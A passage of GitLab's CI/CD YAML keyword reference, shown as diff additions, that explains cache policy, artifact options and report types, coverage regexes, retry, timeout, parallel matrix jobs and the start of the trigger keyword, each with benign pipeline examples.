+This example stores the cache whether or not the job fails or succeeds.
+
+#### `cache:policy`
+
+To change the upload and download behavior of a cache, use the `cache:policy` keyword.
+By default, the job downloads the cache when the job starts, and uploads changes
+to the cache when the job ends. This is the `pull-push` policy (default).
+
+To set a job to only download the cache when the job starts, but never upload changes
+when the job finishes, use `cache:policy:pull`.
+
+To set a job to only upload a cache when the job finishes, but never download the
+cache when the job starts, use `cache:policy:push`.
+
+Use the `pull` policy when you have many jobs executing in parallel that use the same cache.
+This policy speeds up job execution and reduces load on the cache server. You can
+use a job with the `push` policy to build the cache.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- `pull`
+- `push`
+- `pull-push` (default)
+
+**Example of `cache:policy`**:
+
+```yaml
+prepare-dependencies-job:
+ stage: build
+ cache:
+ key: gems
+ paths:
+ - vendor/bundle
+ policy: push
+ script:
+ - echo "This job only downloads dependencies and builds the cache."
+ - echo "Downloading dependencies..."
+
+faster-test-job:
+ stage: test
+ cache:
+ key: gems
+ paths:
+ - vendor/bundle
+ policy: pull
+ script:
+ - echo "This job script uses the cache, but does not update it."
+ - echo "Running tests..."
+```
+
+### `artifacts`
+
+Use `artifacts` to specify a list of files and directories that are
+attached to the job when it [succeeds, fails, or always](#artifactswhen).
+
+The artifacts are sent to GitLab after the job finishes. They are
+available for download in the GitLab UI if the size is not
+larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
+
+By default, jobs in later stages automatically download all the artifacts created
+by jobs in earlier stages. You can control artifact download behavior in jobs with
+[`dependencies`](#dependencies).
+
+When using the [`needs`](#artifact-downloads-with-needs) keyword, jobs can only download
+artifacts from the jobs defined in the `needs` configuration.
+
+Job artifacts are only collected for successful jobs by default, and
+artifacts are restored after [caches](#cache).
+
+[Read more about artifacts](../pipelines/job_artifacts.md).
+
+#### `dependencies`
+
+By default, all `artifacts` from previous stages
+are passed to each job. However, you can use the `dependencies` keyword to
+define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all.
+
+To use this feature, define `dependencies` in context of the job and pass
+a list of all previous jobs the artifacts should be downloaded from.
+
+You can define jobs from stages that were executed before the current one.
+An error occurs if you define jobs from the current or an upcoming stage.
+
+To prevent a job from downloading artifacts, define an empty array.
+
+When you use `dependencies`, the status of the previous job is not considered.
+If a job fails or it's a manual job that isn't triggered, no error occurs.
+
+The following example defines two jobs with artifacts: `build:osx` and
+`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx`
+are downloaded and extracted in the context of the build. The same happens
+for `test:linux` and artifacts from `build:linux`.
+
+The job `deploy` downloads artifacts from all previous jobs because of
+the [stage](#stages) precedence:
+
+```yaml
+build:osx:
+ stage: build
+ script: make build:osx
+ artifacts:
+ paths:
+ - binaries/
+
+build:linux:
+ stage: build
+ script: make build:linux
+ artifacts:
+ paths:
+ - binaries/
+
+test:osx:
+ stage: test
+ script: make test:osx
+ dependencies:
+ - build:osx
+
+test:linux:
+ stage: test
+ script: make test:linux
+ dependencies:
+ - build:linux
+
+deploy:
+ stage: deploy
+ script: make deploy
+```
+
+##### When a dependent job fails
+
+> Introduced in GitLab 10.3.
+
+If the artifacts of the job that is set as a dependency are
+[expired](#artifactsexpire_in) or
+[deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then
+the dependent job fails.
+
+#### `artifacts:exclude`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1
+> - Requires GitLab Runner 13.1
+
+`exclude` makes it possible to prevent files from being added to an artifacts
+archive.
+
+Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative
+to the project directory. You can use Wildcards that use
+[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or
+[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns.
+
+For example, to store all files in `binaries/`, but not `*.o` files located in
+subdirectories of `binaries/`:
+
+```yaml
+artifacts:
+ paths:
+ - binaries/
+ exclude:
+ - binaries/**/*.o
+```
+
+Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself.
+
+For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory:
+
+```yaml
+artifacts:
+ paths:
+ - binaries/
+ exclude:
+ - binaries/temp/**/*
+```
+
+Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using
+`artifacts:exclude` too.
+
+#### `artifacts:expire_in`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0 behind a disabled feature flag, the latest job artifacts are kept regardless of expiry time.
+> - [Made default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8, keeping latest job artifacts can be disabled at the project level.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276583) in GitLab 13.9, keeping latest job artifacts can be disabled instance-wide.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321323) in GitLab 13.12, the latest pipeline artifacts are kept regardless of expiry time.
+
+Use `expire_in` to specify how long [job artifacts](../pipelines/job_artifacts.md) are stored before
+they expire and are deleted. The `expire_in` setting does not affect:
+
+- Artifacts from the latest job, unless this keeping the latest job artifacts is:
+ - [Disabled at the project level](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs).
+ - [Disabled instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
+- [Pipeline artifacts](../pipelines/pipeline_artifacts.md). It's not possible to specify an
+ expiration date for these:
+ - Pipeline artifacts from the latest pipeline are kept forever.
+ - Other pipeline artifacts are erased after one week.
+
+The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Valid values
+include:
+
+- `'42'`
+- `42 seconds`
+- `3 mins 4 sec`
+- `2 hrs 20 min`
+- `2h20min`
+- `6 mos 1 day`
+- `47 yrs 6 mos and 4d`
+- `3 weeks and 2 days`
+- `never`
+
+To expire artifacts one week after being uploaded:
+
+```yaml
+job:
+ artifacts:
+ expire_in: 1 week
+```
+
+The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry
+time is not defined, it defaults to the
+[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
+(30 days by default).
+
+To override the expiration date and protect artifacts from being automatically deleted:
+
+- Use the **Keep** button on the job page.
+- [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of
+ `expire_in` to `never`.
+
+After their expiry, artifacts are deleted hourly by default (using a cron job), and are not
+accessible anymore.
+
+#### `artifacts:expose_as`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5.
+
+Use the `expose_as` keyword to expose [job artifacts](../pipelines/job_artifacts.md)
+in the [merge request](../../user/project/merge_requests/index.md) UI.
+
+For example, to match a single file:
+
+```yaml
+test:
+ script: ["echo 'test' > file.txt"]
+ artifacts:
+ expose_as: 'artifact 1'
+ paths: ['file.txt']
+```
+
+With this configuration, GitLab adds a link **artifact 1** to the relevant merge request
+that points to `file1.txt`. To access the link, select **View exposed artifact**
+below the pipeline graph in the merge request overview.
+
+An example that matches an entire directory:
+
+```yaml
+test:
+ script: ["mkdir test && echo 'test' > test/file.txt"]
+ artifacts:
+ expose_as: 'artifact 1'
+ paths: ['test/']
+```
+
+Note the following:
+
+- Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`.
+- A maximum of 10 job artifacts per merge request can be exposed.
+- Glob patterns are unsupported.
+- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than
+ one file in the directory.
+- For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`,
+ and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is:
+ - Enabled, GitLab automatically renders the artifact.
+ - Not enabled, the file is displayed in the artifacts browser.
+
+#### `artifacts:name`
+
+Use the `name` directive to define the name of the created artifacts
+archive. You can specify a unique name for every archive. The `artifacts:name`
+variable can make use of any of the [predefined variables](../variables/index.md).
+The default name is `artifacts`, which becomes `artifacts.zip` when you download it.
+
+To create an archive with a name of the current job:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_JOB_NAME"
+ paths:
+ - binaries/
+```
+
+To create an archive with a name of the current branch or tag including only
+the binaries directory:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+If your branch-name contains forward slashes
+(for example `feature/my-feature`) it's advised to use `$CI_COMMIT_REF_SLUG`
+instead of `$CI_COMMIT_REF_NAME` for proper naming of the artifact.
+
+To create an archive with a name of the current job and the current branch or
+tag including only the binaries directory:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_JOB_NAME-$CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+To create an archive with a name of the current [stage](#stages) and branch name:
+
+```yaml
+job:
+ artifacts:
+ name: "$CI_JOB_STAGE-$CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+---
+
+If you use **Windows Batch** to run your shell scripts you need to replace
+`$` with `%`:
+
+```yaml
+job:
+ artifacts:
+ name: "%CI_JOB_STAGE%-%CI_COMMIT_REF_NAME%"
+ paths:
+ - binaries/
+```
+
+If you use **Windows PowerShell** to run your shell scripts you need to replace
+`$` with `$env:`:
+
+```yaml
+job:
+ artifacts:
+ name: "$env:CI_JOB_STAGE-$env:CI_COMMIT_REF_NAME"
+ paths:
+ - binaries/
+```
+
+#### `artifacts:paths`
+
+Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly
+link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
+patterns and:
+
+- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
+[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
+- In GitLab Runner 12.10 and earlier,
+[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
+
+To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies).
+
+Send all files in `binaries` and `.config`:
+
+```yaml
+artifacts:
+ paths:
+ - binaries/
+ - .config
+```
+
+To disable artifact passing, define the job with empty [dependencies](#dependencies):
+
+```yaml
+job:
+ stage: build
+ script: make build
+ dependencies: []
+```
+
+You may want to create artifacts only for tagged releases to avoid filling the
+build server storage with temporary build artifacts.
+
+Create artifacts only for tags (`default-job` doesn't create artifacts):
+
+```yaml
+default-job:
+ script:
+ - mvn test -U
+ rules:
+ - if: $CI_COMMIT_BRANCH
+
+release-job:
+ script:
+ - mvn package -U
+ artifacts:
+ paths:
+ - target/*.war
+ rules:
+ - if: $CI_COMMIT_TAG
+```
+
+You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`:
+
+```yaml
+job:
+ artifacts:
+ paths:
+ - path/*xyz/*
+```
+
+#### `artifacts:public`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's recommended for production use.
+
+Use `artifacts:public` to determine whether the job artifacts should be
+publicly available.
+
+The default for `artifacts:public` is `true` which means that the artifacts in
+public pipelines are available for download by anonymous and guest users:
+
+```yaml
+artifacts:
+ public: true
+```
+
+To deny read access for anonymous and guest users to artifacts in public
+pipelines, set `artifacts:public` to `false`:
+
+```yaml
+artifacts:
+ public: false
+```
+
+#### `artifacts:reports`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
+> - Requires GitLab Runner 11.2 and above.
+
+Use [`artifacts:reports`](#artifactsreports)
+to collect test reports, code quality reports, and security reports from jobs.
+It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards).
+
+The test reports are collected regardless of the job results (success or failure).
+You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration
+date for their artifacts.
+
+If you also want the ability to browse the report output files, include the
+[`artifacts:paths`](#artifactspaths) keyword.
+
+##### `artifacts:reports:api_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
+as artifacts.
+
+The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge
+requests and the pipeline view. It's also used to provide data for security dashboards.
+
+##### `artifacts:reports:cobertura`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
+> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+
+The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md).
+The collected Cobertura coverage reports upload to GitLab as an artifact
+and display in merge requests.
+
+Cobertura was originally developed for Java, but there are many
+third party ports for other languages like JavaScript, Python, Ruby, and so on.
+
+##### `artifacts:reports:codequality`
+
+> - Introduced in GitLab 11.5.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
+> - Requires GitLab Runner 11.5 and above.
+
+The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md)
+as artifacts.
+
+The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests.
+
+##### `artifacts:reports:container_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md)
+as artifacts.
+
+The collected Container Scanning report uploads to GitLab as an artifact and
+is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md)
+as artifacts.
+
+The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge
+requests and the pipeline view. It's also used to provide data for security dashboards.
+
+##### `artifacts:reports:cluster_image_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 14.1.
+> - Requires GitLab Runner 14.1 and above.
+
+The `cluster_image_scanning` report collects `CLUSTER_IMAGE_SCANNING` vulnerabilities
+as artifacts.
+
+The collected `CLUSTER_IMAGE_SCANNING` report uploads to GitLab as an artifact and
+is summarized in the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:dast` **(ULTIMATE)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md)
+as artifacts.
+
+The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:dependency_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md)
+as artifacts.
+
+The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:dotenv`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9.
+> - Requires GitLab Runner 11.5 and later.
+
+The `dotenv` report collects a set of environment variables as artifacts.
+
+The collected variables are registered as runtime-created variables of the job,
+which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes).
+
+There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules):
+
+- The variable key can contain only letters, digits, and underscores (`_`).
+- The maximum size of the `.env` file is 5 KB.
+- In GitLab 13.5 and older, the maximum number of inherited variables is 10.
+- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913),
+ the maximum number of inherited variables is 20.
+- Variable substitution in the `.env` file is not supported.
+- The `.env` file can't have empty lines or comments (starting with `#`).
+- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes.
+- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported.
+
+##### `artifacts:reports:junit`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
+> - Requires GitLab Runner 11.2 and above.
+
+The `junit` report collects [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format)
+as artifacts. Although JUnit was originally developed in Java, there are many
+third party ports for other
+languages like JavaScript, Python, Ruby, and so on.
+
+See [Unit test reports](../unit_test_reports.md) for more details and examples.
+Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
+
+```yaml
+rspec:
+ stage: test
+ script:
+ - bundle install
+ - rspec --format RspecJunitFormatter --out rspec.xml
+ artifacts:
+ reports:
+ junit: rspec.xml
+```
+
+The collected Unit test reports upload to GitLab as an artifact and display in merge requests.
+
+If the JUnit tool you use exports to multiple XML files, specify
+multiple test report paths within a single job to
+concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`),
+an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a
+combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`).
+
+##### `artifacts:reports:license_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 12.8.
+> - Requires GitLab Runner 11.5 and above.
+
+The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md)
+as artifacts.
+
+The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security
+dashboards.
+
+##### `artifacts:reports:load_performance` **(PREMIUM)**
+
+> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+> - Requires GitLab Runner 11.5 and above.
+
+The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md)
+as artifacts.
+
+The report is uploaded to GitLab as an artifact and is
+shown in merge requests automatically.
+
+##### `artifacts:reports:metrics` **(PREMIUM)**
+
+> Introduced in GitLab 11.10.
+
+The `metrics` report collects [Metrics](../metrics_reports.md)
+as artifacts.
+
+The collected Metrics report uploads to GitLab as an artifact and displays in merge requests.
+
+##### `artifacts:reports:browser_performance` **(PREMIUM)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0.
+
+The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
+as artifacts.
+
+The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests.
+
+##### `artifacts:reports:requirements` **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1.
+> - Requires GitLab Runner 11.5 and above.
+
+The `requirements` report collects `requirements.json` files as artifacts.
+
+The collected Requirements report uploads to GitLab as an artifact and
+existing [requirements](../../user/project/requirements/index.md) are
+marked as Satisfied.
+
+##### `artifacts:reports:sast`
+
+> - Introduced in GitLab 11.5.
+> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3.
+> - Requires GitLab Runner 11.5 and above.
+
+The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md)
+as artifacts.
+
+The collected SAST report uploads to GitLab as an artifact and is summarized
+in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:secret_detection`
+
+> - Introduced in GitLab 13.1.
+> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab
+ 13.3.
+> - Requires GitLab Runner 11.5 and above.
+
+The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md)
+as artifacts.
+
+The collected Secret Detection report is uploaded to GitLab as an artifact and summarized
+in the merge requests and pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:terraform`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0.
+> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+
+The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform
+plan report uploads to GitLab as an artifact and displays
+in merge requests. For more information, see
+[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md).
+
+#### `artifacts:untracked`
+
+Use `artifacts:untracked` to add all Git untracked files as artifacts (along
+with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration
+in the repository's `.gitignore` file.
+
+Send all Git untracked files:
+
+```yaml
+artifacts:
+ untracked: true
+```
+
+Send all Git untracked files and files in `binaries`:
+
+```yaml
+artifacts:
+ untracked: true
+ paths:
+ - binaries/
+```
+
+Send all untracked files but [exclude](#artifactsexclude) `*.txt`:
+
+```yaml
+artifacts:
+ untracked: true
+ exclude:
+ - "*.txt"
+```
+
+#### `artifacts:when`
+
+Use `artifacts:when` to upload artifacts on job failure or despite the
+failure.
+
+`artifacts:when` can be set to one of the following values:
+
+1. `on_success` (default): Upload artifacts only when the job succeeds.
+1. `on_failure`: Upload artifacts only when the job fails.
+1. `always`: Always upload artifacts. Useful, for example, when
+ [uploading artifacts](../unit_test_reports.md#viewing-junit-screenshots-on-gitlab) required to
+ troubleshoot failing tests.
+
+For example, to upload artifacts only when a job fails:
+
+```yaml
+job:
+ artifacts:
+ when: on_failure
+```
+
+### `coverage`
+
+Use `coverage` to configure how code coverage is extracted from the
+job output.
+
+Regular expressions are the only valid kind of value expected here. So, using
+surrounding `/` is mandatory to consistently and explicitly represent
+a regular expression string. You must escape special characters if you want to
+match them literally.
+
+For example:
+
+```yaml
+job1:
+ script: rspec
+ coverage: '/Code coverage: \d+\.\d+/'
+```
+
+The coverage is shown in the UI if at least one line in the job output matches the regular expression.
+If there is more than one matched line in the job output, the last line is used.
+For the matched line, the first occurrence of `\d+(\.\d+)?` is the code coverage.
+Leading zeros are removed.
+
+Coverage output from [child pipelines](../pipelines/parent_child_pipelines.md) is not recorded
+or displayed. Check [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/280818)
+for more details.
+
+### `retry`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3515) in GitLab 11.5, you can control which failures to retry on.
+
+Use `retry` to configure how many times a job is retried in
+case of a failure.
+
+When a job fails, the job is processed again,
+until the limit specified by the `retry` keyword is reached.
+
+If `retry` is set to `2`, and a job succeeds in a second run (first retry), it is not retried.
+The `retry` value must be a positive integer, from `0` to `2`
+(two retries maximum, three runs in total).
+
+The following example retries all failure cases:
+
+```yaml
+test:
+ script: rspec
+ retry: 2
+```
+
+By default, a job is retried on all failure cases. To have better control
+over which failures to retry, `retry` can be a hash with the following keys:
+
+- `max`: The maximum number of retries.
+- `when`: The failure cases to retry.
+
+To retry only runner system failures at maximum two times:
+
+```yaml
+test:
+ script: rspec
+ retry:
+ max: 2
+ when: runner_system_failure
+```
+
+If there is another failure, other than a runner system failure, the job
+is not retried.
+
+To retry on multiple failure cases, `when` can also be an array of failures:
+
+```yaml
+test:
+ script: rspec
+ retry:
+ max: 2
+ when:
+ - runner_system_failure
+ - stuck_or_timeout_failure
+```
+
+Possible values for `when` are:
+
+<!--
+ If you change any of the values below, make sure to update the `RETRY_WHEN_IN_DOCUMENTATION`
+ array in `spec/lib/gitlab/ci/config/entry/retry_spec.rb`.
+ The test there makes sure that all documented
+ values are valid as a configuration option and therefore should always
+ stay in sync with this documentation.
+-->
+
+- `always`: Retry on any failure (default).
+- `unknown_failure`: Retry when the failure reason is unknown.
+- `script_failure`: Retry when the script failed.
+- `api_failure`: Retry on API failure.
+- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out.
+- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed).
+- `missing_dependency_failure`: Retry if a dependency is missing.
+- `runner_unsupported`: Retry if the runner is unsupported.
+- `stale_schedule`: Retry if a delayed job could not be executed.
+- `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job.
+- `archived_failure`: Retry if the job is archived and can't be run.
+- `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks.
+- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner.
+- `data_integrity_failure`: Retry if there is a structural integrity problem detected.
+
+You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables.
+
+### `timeout`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3.
+
+Use `timeout` to configure a timeout for a specific job. For example:
+
+```yaml
+build:
+ script: build.sh
+ timeout: 3 hours 30 minutes
+
+test:
+ script: rspec
+ timeout: 3h 30m
+```
+
+The job-level timeout can exceed the
+[project-level timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run) but can't
+exceed the runner-specific timeout.
+
+### `parallel`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21480) in GitLab 11.5.
+
+Use `parallel` to configure how many instances of a job to run in parallel.
+The value can be from 2 to 50.
+
+The `parallel` keyword creates N instances of the same job that run in parallel.
+They are named sequentially from `job_name 1/N` to `job_name N/N`:
+
+```yaml
+test:
+ script: rspec
+ parallel: 5
+```
+
+Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL`
+[predefined CI/CD variable](../variables/index.md#predefined-cicd-variables) set.
+
+Different languages and test suites have different methods to enable parallelization.
+For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters)
+and RSpec to run Ruby tests in parallel:
+
+```ruby
+# Gemfile
+source 'https://rubygems.org'
+
+gem 'rspec'
+gem 'semaphore_test_boosters'
+```
+
+```yaml
+test:
+ parallel: 3
+ script:
+ - bundle
+ - bundle exec rspec_booster --job $CI_NODE_INDEX/$CI_NODE_TOTAL
+```
+
+WARNING:
+Test Boosters reports usage statistics to the author.
+
+You can then navigate to the **Jobs** tab of a new pipeline build and see your RSpec
+job split into three separate jobs.
+
+#### Parallel `matrix` jobs
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3.
+
+Use `matrix:` to run a job multiple times in parallel in a single pipeline,
+but with different variable values for each instance of the job.
+There can be from 2 to 50 jobs.
+
+Jobs can only run in parallel if there are multiple runners, or a single runner is
+[configured to run multiple jobs concurrently](#use-your-own-runners).
+
+Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/index.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value.
+
+```yaml
+deploystacks:
+ stage: deploy
+ script:
+ - bin/deploy
+ parallel:
+ matrix:
+ - PROVIDER: aws
+ STACK:
+ - monitoring
+ - app1
+ - app2
+ - PROVIDER: ovh
+ STACK: [monitoring, backup, app]
+ - PROVIDER: [gcp, vultr]
+ STACK: [data, processing]
+```
+
+The following example generates 10 parallel `deploystacks` jobs, each with different values
+for `PROVIDER` and `STACK`:
+
+```plaintext
+deploystacks: [aws, monitoring]
+deploystacks: [aws, app1]
+deploystacks: [aws, app2]
+deploystacks: [ovh, monitoring]
+deploystacks: [ovh, backup]
+deploystacks: [ovh, app]
+deploystacks: [gcp, data]
+deploystacks: [gcp, processing]
+deploystacks: [vultr, data]
+deploystacks: [vultr, processing]
+```
+
+The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452).
+
+##### One-dimensional `matrix` jobs
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26362) in GitLab 13.5.
+
+You can also have one-dimensional matrices with a single job:
+
+```yaml
+deploystacks:
+ stage: deploy
+ script:
+ - bin/deploy
+ parallel:
+ matrix:
+ - PROVIDER: [aws, ovh, gcp, vultr]
+```
+
+##### Parallel `matrix` trigger jobs
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270957) in GitLab 13.10.
+
+Use `matrix:` to run a [trigger](#trigger) job multiple times in parallel in a single pipeline,
+but with different variable values for each instance of the job.
+
+```yaml
+deploystacks:
+ stage: deploy
+ trigger:
+ include: path/to/child-pipeline.yml
+ parallel:
+ matrix:
+ - PROVIDER: aws
+ STACK: [monitoring, app1]
+ - PROVIDER: ovh
+ STACK: [monitoring, backup]
+ - PROVIDER: [gcp, vultr]
+ STACK: [data]
+```
+
+This example generates 6 parallel `deploystacks` trigger jobs, each with different values
+for `PROVIDER` and `STACK`, and they create 6 different child pipelines with those variables.
+
+```plaintext
+deploystacks: [aws, monitoring]
+deploystacks: [aws, app1]
+deploystacks: [ovh, monitoring]
+deploystacks: [ovh, backup]
+deploystacks: [gcp, data]
+deploystacks: [vultr, data]
+```
+
+### `trigger`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
+
+Use `trigger` to define a downstream pipeline trigger. When GitLab starts a `trigger` job,
+a downstream pipeline is created.
+
+Jobs with `trigger` can only use a [limited set of keywords](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file).
